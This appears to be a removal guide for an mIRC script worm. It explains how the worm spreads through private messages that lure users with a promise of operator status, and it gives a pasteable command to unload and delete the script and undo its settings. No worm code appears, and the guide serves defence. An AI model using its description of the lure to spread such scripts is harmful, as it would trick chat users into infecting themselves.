Hello there fellow mIRC user.

If someone was so kind and give you this link, then you most likely are infected with a mIRC virus.
It shouldn't be a problem tho, the script isn't really doing anything dangerous, it spreads itself when someone uses the letter "a", your mIRC client will then send them a pm saying something similar to:

If you do what it says, you won't get op anywhere, you'll only get infected. Other things the script does:
  1. Ignore whoever said "a"
  2. Set you to +R, meaning you'll ignore all pm's from people who aren't authed with Q.
  3. Start a timer that will join you to a given channel every 2 min. (sometimes people don't add the chan)

To help you fix this I made up a command that does the following:
  1. Unloads the script
  2. Deletes the script file from your HDD
  3. Clear your ignore list, since you probably have ignored most people in channels you are on.
  4. Removes "+R" so you can receive messages from people who aren't authed.
  5. Stops the timer that the script started.

The command

[Select] //unload -rs $+($chr(160),$chr(46),$chr(160)) | remove $+($chr(160),$chr(46),$chr(160)) | ignore -r | mode $me -R | timer $+ $chr(160) off You have to copy the whole command, and run it as a whole. Paste it in a chat box in your mIRC client (images below).

If you get a error saying * /unload: no such file ' ' One of two things are in play: You are either not infected, or the script has been slightly altered. Feel free to contact me if you are infected and the script has been altered.

How do I know if it worked?

If you change to the "Status Window" and you see the following (could be in the window you used the command in as well), you were infected, but not anymore. The red text in the parenthesis is what part of the command did what. * Unloaded script ' ' --- Unloads the script from mIRC. (//unload -rs $+($chr(160),$chr(46),$chr(160)))
-
* Removed '..\ ' --- Deletes the script file. (remove $+($chr(160),$chr(46),$chr(160)))
-
* Ignore list cleared --- Clears the ignore list. (ignore -r)
-
* sets mode: -R --- Removed the +R user mode. (mode $me -R)
-
* Timer halted --- halts the timer that makes U join a chan every 2 min (timer $+ $chr(160) off)
